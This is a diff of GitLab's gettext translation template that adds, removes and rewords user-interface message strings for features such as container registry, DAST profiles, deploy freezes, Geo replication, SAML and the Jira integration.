@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
